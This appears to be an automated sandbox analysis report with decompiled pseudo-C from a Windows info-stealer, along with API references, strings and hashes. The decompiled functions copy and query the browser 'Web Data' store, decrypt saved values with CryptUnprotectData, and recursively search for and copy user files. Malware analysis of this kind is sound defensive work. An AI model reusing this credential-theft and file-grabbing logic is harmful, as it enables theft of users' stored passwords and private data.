				void* _t274;
				void* _t275;
				char _t276;
				void* _t278;
				signed int _t279;
				signed int _t280;
				void* _t281;
				intOrPtr* _t284;
				void* _t285;

				_t209 = __edx;
				_v48 = __ecx;
				_t107 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_t108 =  *((intOrPtr*)( *0x40e13c))(_t107, _a12);
				_v8 = _v8 & 0x00000000;
				_t265 = _t108;
				E004017FA(_t265,  &_v8,  &_v56);
				 *_t284 = 0x200;
				_t274 =  *((intOrPtr*)( *0x40e044))(0x40);
				_v52 = _t274;
				E00401934(_v8,  &_v52,  *0x40e044, _v56);
				_v28 = _v28 & 0x00000000;
				_v64 = _t274;
				_v68 = 0x200;
				_t275 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_v24 = _t275;
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				_t119 =  *((intOrPtr*)( *0x40e0b0))( &_v68,  &_v28, 0, 0, 0, 0,  &_v76); // executed
				if(_t119 != 0) {
					_t205 = E0040177F(_v72,  &_v24, _v76);
					_t275 = _v24;
					if(_t205 != 0) {
						 *_t209 =  *((intOrPtr*)( *0x40e13c))( *_t209, _t275);
					}
				}
				if(_v28 != 0) {
					LocalFree(_v28);
				}
				if(_v64 != 0) {
					LocalFree(_v64);
				}
				if(_v72 != 0) {
					LocalFree(_v72);
				}
				if(_t275 != 0) {
					LocalFree(_t275);
				}
				if(_t265 != 0) {
					LocalFree(_t265);
				}
				_t276 = _a16;
				if(_t276 == 0) {
					L57:
					return 0;
				} else {
					_t122 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e1c4);
					 *0x40e4d4 = _t122;
					_t124 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e1f8);
					 *0x40e4c8 = _t124;
					_t126 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e1e0);
					 *0x40e4bc = _t126;
					_t128 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e208);
					 *0x40e4c4 = _t128;
					_t130 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e230);
					 *0x40e4cc = _t130;
					_t132 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e1c0);
					 *0x40e4b8 = _t132;
					_t134 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e224);
					 *0x40e4c0 = _t134;
					 *0x40e4d0 =  *((intOrPtr*)( *0x40e0d4))(_t276,  *0x40e1b0);
					_t138 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_t139 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_v32 = _t139;
					_t278 =  *((intOrPtr*)( *0x40e000))(_t138, _a8, L"Web Data");
					_v60 = _t278;
					_t141 = E0040A69E( *0x40e000,  &_v32);
					_t210 = _v32;
					if(_t141 == 0) {
						L59:
						LocalFree(_t278);
						DeleteFileW(_t210);
						return LocalFree(_t210) | 0xffffffff;
					}
					_t146 = CopyFileW(_t278, _t210, 0); // executed
					if(_t146 == 0) {
						goto L59;
					}
					_t148 =  *0x40e4c8(_t210,  &_v24); // executed
					if(_t148 == 0) {
						if(_v24 != 0) {
							_t150 =  *0x40e4d4(_v24,  *0x40e1d4, 0xffffffff,  &_a16, 0); // executed
							_t285 = _t284 + 0x14;
							if(_t150 == 0) {
								_push(_a16);
								if( *0x40e4cc() != 0x64) {
									L53:
									if(_t278 != 0) {
										LocalFree(_t278);
									}
									 *0x40e4bc(_a16);
									 *0x40e4c4(_v24); // executed
									DeleteFileW(_t210); // executed
									if(_t210 != 0) {
										LocalFree(_t210);
									}
									goto L57;
								}
								_t211 = _v48;
								_t268 = 1;
								do {
									_t157 =  *0x40e4b8(_a16, 0);
									_v48 = _t157;
									_t158 =  *0x40e4b8(_a16, 2);
									_v44 = _t158;
									_t159 =  *0x40e4b8(_a16, 3);
									_v40 = _t159;
									_t160 =  *0x40e4c0(_a16, _t268);
									_t279 = _t160;
									_v36 = _t279;
									_t161 =  *0x40e4c0(_a16, 0);
									_t285 = _t285 + 0x28;
									if(_t161 < _t268) {
										goto L51;
									}
									_push(_t268);
									_push(_a16);
									if( *0x40e4c0() < _t268) {
										goto L51;
									}
									_push(2);
									_push(_a16);
									if( *0x40e4c0() < _t268) {
										goto L51;
									}
									_push(3);
									_push(_a16);
									if( *0x40e4c0() < _t268) {
										goto L51;
									}
									_t269 =  *0x40e4d0(_a16, _t268);
									_t57 = _t279 + 0x40; // 0x40
									_t167 =  *((intOrPtr*)( *0x40e044))(0x40, _t57);
									_t168 =  *((intOrPtr*)( *0x40e050))(_t167, _t269);
									_v52 = _t168;
									_v12 =  *_t168;
									_v11 =  *((intOrPtr*)(_t168 + 1));
									_v10 =  *((intOrPtr*)(_t168 + 2));
									_v9 = 0;
									if(_t269 == 0) {
										L50:
										LocalFree(_t168);
										_t268 = 1;
										goto L51;
									}
									_t280 =  *((intOrPtr*)( *0x40e044))(0x40, 0x2000);
									_t172 =  *0x40e1c8; // 0x74dd90
									_v20 = _t172;
									_push("v10");
									_push( &_v12);
									_v8 = _t280;
									if( *((intOrPtr*)( *0x40e084))() != 0) {
										_push( &_v84);
										_v88 = _t269;
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_v92 = 0x200;
										_push( &_v92);
										if( *((intOrPtr*)( *0x40e0b0))() == 0) {
											_t281 = _v8;
											L47:
											if(_t281 != 0) {
												LocalFree(_t281);
											}
											_t168 = _v52;
											goto L50;
										}
										 *((char*)(_v84 + _v80)) = 0;
										_t179 = E0040A4C2(_v80);
										_v36 = _t179;
										_t180 =  *((intOrPtr*)( *0x40e0ec))(_t280, _v20, _t179, _v48, _v44, _v40);
										_t285 = _t285 + 0x18;
										_t181 = lstrlenW(_v20);
										_t281 = _v8;
										if(_t180 >= _t181) {
											 *_t211 = E0040A503( *_t211, _t281);
										}
										if(_v80 != 0) {
											LocalFree(_v80);
										}
										LocalFree(_v36);
										L39:
										goto L47;
									}
									_v16 =  *((intOrPtr*)( *0x40e044))(0x40, _v36 << 2);
									if(E0040177F(_t269,  &_v16, _v36) == 0) {
										_t281 = _v8;
									} else {
										_t190 =  *((intOrPtr*)( *0x40e0ec))(_t280, _v20, _v16, _v48, _v44, _v40);
										_t285 = _t285 + 0x18;
										_t191 = lstrlenW(_v20);
										_t281 = _v8;
										if(_t190 >= _t191) {
											 *_t211 = E0040A503( *_t211, _t281);
										}
									}
									if(_v16 == 0) {
										goto L47;
									} else {
										LocalFree(_v16);
										goto L39;
									}
									L51:
									_push(_a16);
								} while ( *0x40e4cc() == 0x64);
								_t210 = _v32;
								_t278 = _v60;
								goto L53;
							}
							LocalFree(_t278);
							LocalFree(_t210);
							 *0x40e4c4(_v24);
							_t196 = 0xfffffffd;
							return _t196;
						}
						_t273 = 0xfffffffe;
						L22:
						LocalFree(_t278);
						LocalFree(_t210);
						return _t273;
					}
					_t273 = 0xffffffffffffffff;
					goto L22;
				}
			}

0x0040324b
0x0040324d
0x00403250
0x0040325c
0x0040325e
0x00403265
0x0040326d
0x00403278
0x00403286
0x0040328f
0x00403292
0x0040329c
0x004032a9
0x004032ac
0x004032b9
0x004032bb
0x004032be
0x004032c3
0x004032c3
0x004032e1
0x004032e5
0x004032f0
0x004032f5
0x004032fb
0x00403307
0x00403307
0x004032fb
0x0040330d
0x00403312
0x00403312
0x0040331c
0x00403321
0x00403321
0x0040332b
0x00403330
0x00403330
0x00403338
0x0040333b
0x0040333b
0x00403343
0x00403346
0x00403346
0x0040334c
0x00403351
0x0040373f
0x00000000
0x00403357
0x00403363
0x0040336b
0x00403376
0x0040337e
0x00403389
0x00403391
0x0040339c
0x004033a4
0x004033af
0x004033b7
0x004033c2
0x004033ca
0x004033d5
0x004033dd
0x004033ef
0x004033fc
0x00403409
0x00403419
0x0040341f
0x00403424
0x00403427
0x0040342c
0x00403431
0x00403746
0x00403747
0x0040374e
0x00000000
0x0040375b
0x00403441
0x00403445
0x00000000
0x00000000
0x00403450
0x0040345a
0x00403465
0x00403490
0x00403496
0x0040349b
0x004034bd
0x004034ca
0x0040370e
0x00403710
0x00403713
0x00403713
0x0040371c
0x00403725
0x0040372e
0x00403736
0x00403739
0x00403739
0x00000000
0x00403736
0x004034d0
0x004034d5
0x004034d6
0x004034db
0x004034e6
0x004034e9
0x004034f4
0x004034f7
0x00403501
0x00403504
0x0040350f
0x00403511
0x00403514
0x0040351a
0x0040351f
0x00000000
0x00000000
0x00403525
0x00403526
0x00403533
0x00000000
0x00000000
0x00403539
0x0040353b
0x00403548
0x00000000
0x00000000
0x0040354e
0x00403550
0x0040355d
0x00000000
0x00000000
0x00403573
0x00403577
0x0040357d
0x00403587
0x00403589
0x0040358e
0x00403594
0x0040359a
0x0040359d
0x004035a3
0x004036eb
0x004036ec
0x004036f4
0x00000000
0x004036f4
0x004035bd
0x004035bf
0x004035c4
0x004035ca
0x004035cf
0x004035d0
0x004035d7
0x0040365d
0x00403660
0x00403663
0x00403664
0x00403665
0x00403666
0x00403667
0x0040366b
0x00403672
0x00403677
0x004036da
0x004036dd
0x004036df
0x004036e2
0x004036e2
0x004036e8
0x00000000
0x004036e8
0x0040367f
0x00403683
0x0040369d
0x004036a5
0x004036a7
0x004036af
0x004036b3
0x004036b6
0x004036c1
0x004036c1
0x004036c7
0x004036cc
0x004036cc
0x0040364a
0x0040364a
0x00000000
0x0040364a
0x004035f0
0x004035fd
0x0040363a
0x004035ff
0x0040361a
0x0040361c
0x00403624
0x00403628
0x0040362b
0x00403636
0x00403636
0x0040362b
0x00403641
0x00000000
0x00403647
0x0040364a
0x00000000
0x0040364a
0x004036f5
0x004036f5
0x004036ff
0x00403708
0x0040370b
0x00000000
0x0040370b
0x0040349e
0x004034a5
0x004034ae
0x004034b7
0x00000000
0x004034b7
0x00403469
0x0040346a
0x0040346b
0x00403472
0x00000000
0x00403478
0x0040345c
0x00000000
0x0040345c

APIs

LocalFree.KERNEL32(00000000), ref: 004032C3

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 004032E1
LocalFree.KERNEL32(00000000), ref: 00403312
LocalFree.KERNEL32(00000000), ref: 00403321
LocalFree.KERNEL32(00000000), ref: 00403330
LocalFree.KERNEL32(00000000), ref: 0040333B
LocalFree.KERNEL32(00000000), ref: 00403346
CopyFileW.KERNEL32(00000000,?,00000000), ref: 00403441
LocalFree.KERNEL32(00000000), ref: 0040346B
LocalFree.KERNEL32(?), ref: 00403472
LocalFree.KERNEL32(00000000), ref: 0040349E
LocalFree.KERNEL32(?), ref: 004034A5
LocalFree.KERNEL32(00000000), ref: 00403747
DeleteFileW.KERNEL32(?), ref: 0040374E
LocalFree.KERNEL32(?), ref: 00403755

Strings

Web Data, xrefs: 00403411
v10, xrefs: 004035CA

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$File$CopyCryptDataDeleteUnprotect
String ID: Web Data$v10
API String ID: 1742448742-1846122625
Opcode ID: 452dee4c139b824143a0166505d536948669178c0ee45589a4d705fb7e9a228e
Instruction ID: 7d7504f3382372b0d825977313a65c8cc92f857bae52c0927fac6ea5572d7f51
Opcode Fuzzy Hash: 452dee4c139b824143a0166505d536948669178c0ee45589a4d705fb7e9a228e
Instruction Fuzzy Hash: 1FF1A171900214EFDB15DFA6EE44AAE7BB9FB08311F104835F511B72A0DB759E20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B5B Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 372
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00405B5B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20, WCHAR* _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr* _a36, intOrPtr _a40, char _a44) {
				void* _v12;
				signed int _v16;
				void* _v20;
				void* _v24;
				WCHAR* _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* _v48;
				void* _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				struct _WIN32_FIND_DATAW _v664;
				void* __ebx;
				void* __esi;
				void* _t112;
				signed int _t114;
				void* _t117;
				void* _t119;
				void* _t120;
				void* _t121;
				WCHAR* _t122;
				int _t125;
				void* _t127;
				WCHAR* _t129;
				intOrPtr _t135;
				WCHAR* _t136;
				void* _t138;
				void* _t140;
				signed int _t144;
				signed int _t148;
				WCHAR* _t151;
				WCHAR* _t158;
				WCHAR* _t162;
				void* _t167;
				unsigned int _t175;
				WCHAR* _t177;
				WCHAR* _t182;
				void* _t186;
				WCHAR* _t189;
				void* _t191;
				WCHAR* _t192;
				void* _t194;
				void* _t195;
				WCHAR* _t196;
				void* _t201;
				void* _t202;
				char* _t232;
				intOrPtr _t233;
				intOrPtr _t239;
				WCHAR* _t245;
				intOrPtr _t249;
				signed int _t251;
				signed int _t252;
				WCHAR* _t253;
				void* _t254;
				void* _t255;
				void* _t259;
				void* _t260;
				unsigned int _t261;
				void* _t262;
				void* _t264;
				void* _t265;
				void* _t267;

				_t1 =  &_a44; // 0x406321
				_t249 =  *_t1;
				_v44 = __edx;
				_v40 = __ecx;
				if(_t249 <= _a40) {
					_v16 = _v16 & 0x00000000;
					_t112 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
					_t195 =  *((intOrPtr*)( *0x40e13c))(_t112, _a4);
					_v52 = _t195;
					_t114 =  *((intOrPtr*)( *0x40e08c))(_t195);
					_t201 = 0x5c;
					__eflags =  *((intOrPtr*)(_t195 + _t114 * 2 - 2)) - _t201;
					_t202 = _t195;
					if( *((intOrPtr*)(_t195 + _t114 * 2 - 2)) == _t201) {
						_push( *0x40e3d0);
						_v16 = 1;
					} else {
						_push( *0x40e1d0);
					}
					E0040188C(_t195, _t202, 0x104, _t259);
					_t117 = FindFirstFileW(_t195,  &_v664); // executed
					_v36 = _t117;
					__eflags = _t117 - 0xffffffff;
					if(_t117 != 0xffffffff) {
						_t260 = _v36;
						_t196 = _v16;
						do {
							__eflags = _v664.dwFileAttributes & 0x00000010;
							if((_v664.dwFileAttributes & 0x00000010) == 0) {
								_t119 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
								_t120 =  *((intOrPtr*)( *0x40e13c))(_t119, _a4);
								__eflags = _t196;
								if(_t196 == 0) {
									_t233 =  *0x40e258; // 0x735c80
									_t120 = E0040A503(_t120, _t233);
								}
								_t232 =  &(_v664.cFileName);
								_t121 = E0040A503(_t120, _t232);
								_t261 = _v664.nFileSizeHigh;
								_t251 = _v664.nFileSizeLow;
								__eflags = _a24;
								_v12 = _t121;
								if(_a24 == 0) {
									_t122 = 0;
									__eflags = 0;
								} else {
									_t232 = L"*.lnk";
									_t122 = E0040A70E( &(_v664.cFileName), _t232);
								}
								__eflags = _v12;
								_v28 = _t122;
								if(_v12 == 0) {
									L52:
									LocalFree(_v12);
									goto L53;
								} else {
									_t135 = _a28;
									_t252 = (_t261 << 0x00000020 | _t251) >> 0xa;
									asm("cdq");
									__eflags = _t261 >> 0xa - _t232;
									if(__eflags > 0) {
										goto L52;
									}
									if(__eflags < 0) {
										L23:
										_t136 = E0040A70E( &(_v664.cFileName), _a12);
										__eflags = _t136;
										if(_t136 == 0) {
											L25:
											_t253 = _v28;
											__eflags = _t253;
											if(_t253 == 0) {
												goto L52;
											}
											L28:
											_t138 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
											_t140 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t138,  *0x40e1b8), _v40);
											_t239 =  *0x40e1b8; // 0x735de0
											_v20 = E0040A503(E0040A503(_t140, _t239), _v44);
											__eflags = _t253;
											if(_t253 == 0) {
												_t264 = 0;
												__eflags = 0;
											} else {
												_t191 = E00408FA5(_v12); // executed
												_t264 = _t191;
											}
											_t144 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
											_v16 = _t144;
											_v32 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
											__eflags = _t253;
											if(_t253 != 0) {
												_t186 =  *((intOrPtr*)( *0x40e08c))(_t264);
												__eflags = _t186 - 4;
												if(_t186 > 4) {
													_t189 =  *((intOrPtr*)( *0x40e0e0))(_t264, 0, 0x5c) + 2;
													__eflags = _t189;
													StrCpyW(_v32, _t189);
												}
											}
											_t148 =  *((intOrPtr*)( *0x40e08c))(_a8);
											__eflags = _t253;
											_t150 =  !=  ? _v32 : 0;
											_t151 = E0040A2AA(_v12 + _t148 * 2,  &_v16,  !=  ? _v32 : 0);
											__eflags = _t151;
											if(_t151 == 0) {
												L51:
												LocalFree(_v32);
												LocalFree(_v16);
												LocalFree(_v20);
												goto L52;
											} else {
												_t218 = _v20;
												_v20 = E0040A503(_v20, _v16);
												__eflags = _t253;
												if(_t253 == 0) {
													_t254 = _v12;
													L41:
													_v24 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
													_t158 = E0040A69E(_t218,  &_v24);
													_t265 = _v24;
													__eflags = _t158;
													if(_t158 == 0) {
														L50:
														DeleteFileW(_t265);
														LocalFree(_t265);
														goto L51;
													}
													_t162 =  *((intOrPtr*)( *0x40e184))(_t254, _t265, 0);
													__eflags = _t162;
													if(_t162 == 0) {
														goto L50;
													}
													_t255 =  *((intOrPtr*)( *0x40e03c))(_t265, 0x80000000, 1, 0, 4, 0, 0);
													 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v20, 0xffffffff, 0, 0, 0, 0);
													_v48 = 0;
													_t167 =  *((intOrPtr*)( *0x40e044))(0x40, 0x30c);
													_t245 = _v48;
													_v24 = 0;
													__eflags = _t245;
													if(_t245 == 0) {
														L49:
														LocalFree(_t167);
														CloseHandle(_t255);
														goto L50;
													}
													 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v20, 0xffffffff, 0, _t245, 0, 0);
													__eflags = 0;
													if(0 == 0) {
														L48:
														_t167 = _v24;
														goto L49;
													}
													__eflags = _v28;
													if(_v28 == 0) {
														L47:
														_t223 = _a36;
														_v56 = _v56 & 0x00000000;
														_v68 = _v24;
														_v64 = _t255;
														_v60 = _t265;
														 *_t223 =  *_a36 + 1;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														goto L51;
													}
													_t175 =  *((intOrPtr*)( *0x40e14c))(_t255, 0);
													__eflags = _t175 >> 0xa - _a28;
													if(_t175 >> 0xa >= _a28) {
														goto L48;
													}
													goto L47;
												}
												_t177 = E0040A70E(_t264, _a12);
												__eflags = _t177;
												if(_t177 == 0) {
													L39:
													LocalFree(_v32);
													LocalFree(_v12);
													LocalFree(_v20);
													LocalFree(_v16);
													LocalFree(_t264);
													L53:
													_t107 =  &_a44; // 0x406321
													_t249 =  *_t107;
													L54:
													_t260 = _v36;
													goto L55;
												}
												_t218 = _t264;
												_t182 = E0040A70E(_t264, _a16);
												__eflags = _t182;
												if(_t182 != 0) {
													goto L39;
												}
												_t254 =  *((intOrPtr*)( *0x40e13c))(_v12, _t264);
												_v12 = _t254;
												LocalFree(_t264);
												goto L41;
											}
										}
										_t192 = E0040A70E( &(_v664.cFileName), _a16);
										__eflags = _t192;
										if(_t192 == 0) {
											_t253 = _v28;
											goto L28;
										}
										goto L25;
									}
									__eflags = _t252 - _t135;
									if(_t252 >= _t135) {
										goto L52;
									}
									goto L23;
								}
							}
							__eflags = _v664.cFileName - 0x2e;
							if(_v664.cFileName == 0x2e) {
								goto L55;
							}
							__eflags = _a20;
							if(_a20 == 0) {
								goto L55;
							}
							_t127 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
							_t262 =  *((intOrPtr*)( *0x40e000))(_t127, _a4,  &(_v664.cFileName));
							_t129 = E0040A70E( &(_v664.cFileName), _a16);
							__eflags = _t129;
							if(_t129 == 0) {
								_t26 = _t249 + 1; // 0x1
								E00405B5B(_v40, _v44, _t262, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _t26); // executed
								_t267 = _t267 + 0x2c;
							}
							LocalFree(_t262);
							goto L54;
							L55:
							_t125 = FindNextFileW(_t260,  &_v664); // executed
							__eflags = _t125;
						} while (_t125 != 0);
						_t110 =  &_v52; // 0x406321
						LocalFree( *_t110);
						FindClose(_t260);
						goto L57;
					} else {
						LocalFree(_t195);
						L57:
						__eflags = 0;
						return 0;
					}
				}
				_t194 = 2;
				return _t194;
			}

0x00405b67
0x00405b67
0x00405b6a
0x00405b6d
0x00405b73
0x00405b82
0x00405b8d
0x00405ba1
0x00405ba4
0x00405ba7
0x00405bab
0x00405bb1
0x00405bb6
0x00405bb8
0x00405bc2
0x00405bc8
0x00405bba
0x00405bba
0x00405bba
0x00405bcf
0x00405be1
0x00405be3
0x00405be6
0x00405be9
0x00405bf7
0x00405bfa
0x00405bfd
0x00405bfd
0x00405c04
0x00405c9d
0x00405ca9
0x00405cab
0x00405cad
0x00405caf
0x00405cb7
0x00405cb7
0x00405cbc
0x00405cc4
0x00405cc9
0x00405cd1
0x00405cd7
0x00405cdb
0x00405cde
0x00405cf2
0x00405cf2
0x00405ce0
0x00405ce0
0x00405ceb
0x00405ceb
0x00405cf4
0x00405cf8
0x00405cfb
0x00405fad
0x00405fb0
0x00000000
0x00405d01
0x00405d01
0x00405d04
0x00405d08
0x00405d0c
0x00405d0e
0x00000000
0x00000000
0x00405d14
0x00405d1e
0x00405d27
0x00405d2c
0x00405d2e
0x00405d42
0x00405d42
0x00405d45
0x00405d47
0x00000000
0x00000000
0x00405d52
0x00405d5e
0x00405d74
0x00405d79
0x00405d90
0x00405d93
0x00405d95
0x00405da3
0x00405da3
0x00405d97
0x00405d9a
0x00405d9f
0x00405d9f
0x00405db1
0x00405db8
0x00405dc4
0x00405dc7
0x00405dc9
0x00405dd2
0x00405dd4
0x00405dd7
0x00405de5
0x00405de5
0x00405dec
0x00405dec
0x00405dd7
0x00405dfa
0x00405e04
0x00405e09
0x00405e0e
0x00405e14
0x00405e16
0x00405f92
0x00405f95
0x00405f9e
0x00405fa7
0x00000000
0x00405e1c
0x00405e1f
0x00405e27
0x00405e2a
0x00405e2c
0x00405e8d
0x00405e90
0x00405ea1
0x00405ea4
0x00405ea9
0x00405eac
0x00405eae
0x00405f84
0x00405f85
0x00405f8c
0x00000000
0x00405f8c
0x00405ebd
0x00405ebf
0x00405ec1
0x00000000
0x00000000
0x00405ee3
0x00405ef6
0x00405f05
0x00405f08
0x00405f0a
0x00405f0d
0x00405f10
0x00405f12
0x00405f76
0x00405f77
0x00405f7e
0x00000000
0x00405f7e
0x00405f2c
0x00405f2e
0x00405f30
0x00405f73
0x00405f73
0x00000000
0x00405f73
0x00405f32
0x00405f36
0x00405f4a
0x00405f4a
0x00405f50
0x00405f54
0x00405f59
0x00405f65
0x00405f6b
0x00405f6d
0x00405f6e
0x00405f6f
0x00405f70
0x00000000
0x00405f70
0x00405f40
0x00405f45
0x00405f48
0x00000000
0x00000000
0x00000000
0x00405f48
0x00405e33
0x00405e38
0x00405e3a
0x00405e63
0x00405e66
0x00405e6f
0x00405e78
0x00405e81
0x00405fb0
0x00405fb0
0x00405fb6
0x00405fb6
0x00405fb9
0x00405fb9
0x00000000
0x00405fb9
0x00405e3f
0x00405e41
0x00405e46
0x00405e48
0x00000000
0x00000000
0x00405e55
0x00405e58
0x00405e5b
0x00000000
0x00405e5b
0x00405e16
0x00405d39
0x00405d3e
0x00405d40
0x00405d4f
0x00000000
0x00405d4f
0x00000000
0x00405d40
0x00405d16
0x00405d18
0x00000000
0x00000000
0x00000000
0x00405d18
0x00405cfb
0x00405c0a
0x00405c12
0x00000000
0x00000000
0x00405c18
0x00405c1c
0x00000000
0x00000000
0x00405c2e
0x00405c4c
0x00405c4e
0x00405c53
0x00405c55
0x00405c57
0x00405c7d
0x00405c82
0x00405c82
0x00405c86
0x00000000
0x00405fbc
0x00405fc9
0x00405fcb
0x00405fcb
0x00405fd3
0x00405fd7
0x00405fde
0x00000000
0x00405beb
0x00405bec
0x00405fe4
0x00405fe4
0x00000000
0x00405fe4
0x00405be9
0x00405b77
0x00000000

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 00405BE1
LocalFree.KERNEL32(00000000), ref: 00405BEC

Strings

*.lnk, xrefs: 00405CE0
!c@, xrefs: 00405FD3, 00405FD6
!c@, xrefs: 00405B67, 00405FB6
., xrefs: 00405C0A
]s, xrefs: 00405D79

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FileFindFirstFreeLocal
String ID: !c@$!c@$*.lnk$.$]s
API String ID: 972134204-3701215829
Opcode ID: b2bc6981046b89f0825e8fe3b22cdd010d50f795f2c34f4df7670a783b0ff52d
Instruction ID: a0bd4d6dd4f3a97f7616e57fc29639dad099fc1712c2800218aeb084a22374ad
Opcode Fuzzy Hash: b2bc6981046b89f0825e8fe3b22cdd010d50f795f2c34f4df7670a783b0ff52d
Instruction Fuzzy Hash: 75D1AC71A00216ABEF04DFA5CD44EAF7775EF48300F104929FA15B72A0DB78A951CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B177 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 275
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E0040B177(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				char _v568;
				struct _WIN32_FIND_DATAW _v616;
				WCHAR* _v632;
				void* _v640;
				signed int _v648;
				void* _v660;
				void* _v664;
				intOrPtr _v684;
				void* _v688;
				WCHAR* _v696;
				void* _v716;
				void* _v732;
				intOrPtr _v748;
				intOrPtr _v760;
				char _v764;
				intOrPtr _v772;
				intOrPtr _v780;
				intOrPtr _v788;
				signed int _v800;
				void* _v804;
				void* _v812;
				void* _v816;
				void* _v820;
				void* _v824;
				void* _v828;
				void* _v836;
				void* __ebx;
				void* __esi;
				void* _t66;
				void* _t70;
				void* _t78;
				void* _t86;
				void* _t89;
				void* _t96;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t102;
				intOrPtr _t103;
				void* _t116;
				void* _t117;
				void* _t127;
				WCHAR* _t128;
				void* _t130;
				WCHAR* _t132;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t177;
				void* _t182;
				void* _t183;
				void* _t185;
				void* _t189;
				signed int _t190;
				void* _t192;
				void* _t194;
				signed int _t196;
				void* _t198;

				_t198 = (_t196 & 0xfffffff8) - 0x28c;
				_t183 = __edx;
				_t190 = __ecx;
				_v640 = __edx;
				_v648 = __ecx;
				_t66 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a, _t182, _t189, _t127);
				_t128 =  *((intOrPtr*)( *0x40e13c))(_t66, _a4);
				_v632 = _t128;
				E0040188C(_t128, _t128, 0x104, __ecx,  *0x40e1d0);
				_t70 = FindFirstFileW(_t128,  &_v616); // executed
				_v664 = _t70;
				if(_t70 == 0xffffffff) {
					L21:
					return 0;
				}
				_t130 = _t70;
				do {
					if((_v616.ftCreationTime & 0x00000010) == 0) {
						if(E0040A70E( &_v568, _a8) == 0 || E0040A70E( &_v568, _a12) != 0) {
							goto L19;
						} else {
							_t86 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
							_t185 =  *((intOrPtr*)( *0x40e000))(_t86, _a4,  &(_v616.dwReserved1));
							_v660 = _t185;
							_v696 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
							_t89 = E0040A69E( *0x40e044,  &_v696);
							_t132 = _v696;
							if(_t89 == 0) {
								L17:
								LocalFree(_t132);
								LocalFree(_t185);
								DeleteFileW(_t132);
								L18:
								_t130 = _v688;
								_t183 = _v684;
								goto L19;
							}
							_push(0);
							_push(_t132);
							_push(_t185);
							if( *((intOrPtr*)( *0x40e184))() == 0) {
								goto L17;
							}
							_t96 =  *((intOrPtr*)( *0x40e03c))(_t132, 0x80000000, 1, 0, 4, 0, 0);
							_v716 = _t96;
							GetFileSize(_t96, 0);
							_t98 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
							_t99 =  *((intOrPtr*)( *0x40e13c))(_t98,  *0x40e1b8);
							_t172 =  *0x40e1b4; // 0x74e6a0
							_t100 = E0040A503(_t99, _t172);
							_t173 =  *0x40e1b8; // 0x735de0
							_t102 = E0040A503(E0040A503(_t100, _t173), _t190);
							_t103 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
							_v760 = _t103;
							E0040A2AA(_t185 +  *((intOrPtr*)( *0x40e08c))(0) * 2,  &_v764, _v748);
							_t194 = E0040A503(_t102, _v764);
							_v732 = _t194;
							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t194, 0xffffffff, 0, 0, 0, 0);
							_v772 = 0;
							 *((intOrPtr*)( *0x40e044))(0x40, 0x144);
							_t177 = _v780;
							_v788 = 0;
							if(_t177 == 0) {
								L16:
								LocalFree(_t132);
								LocalFree(_t194);
								LocalFree(_v804);
								LocalFree(_t185);
								L14:
								_t190 = _v800;
								goto L18;
							}
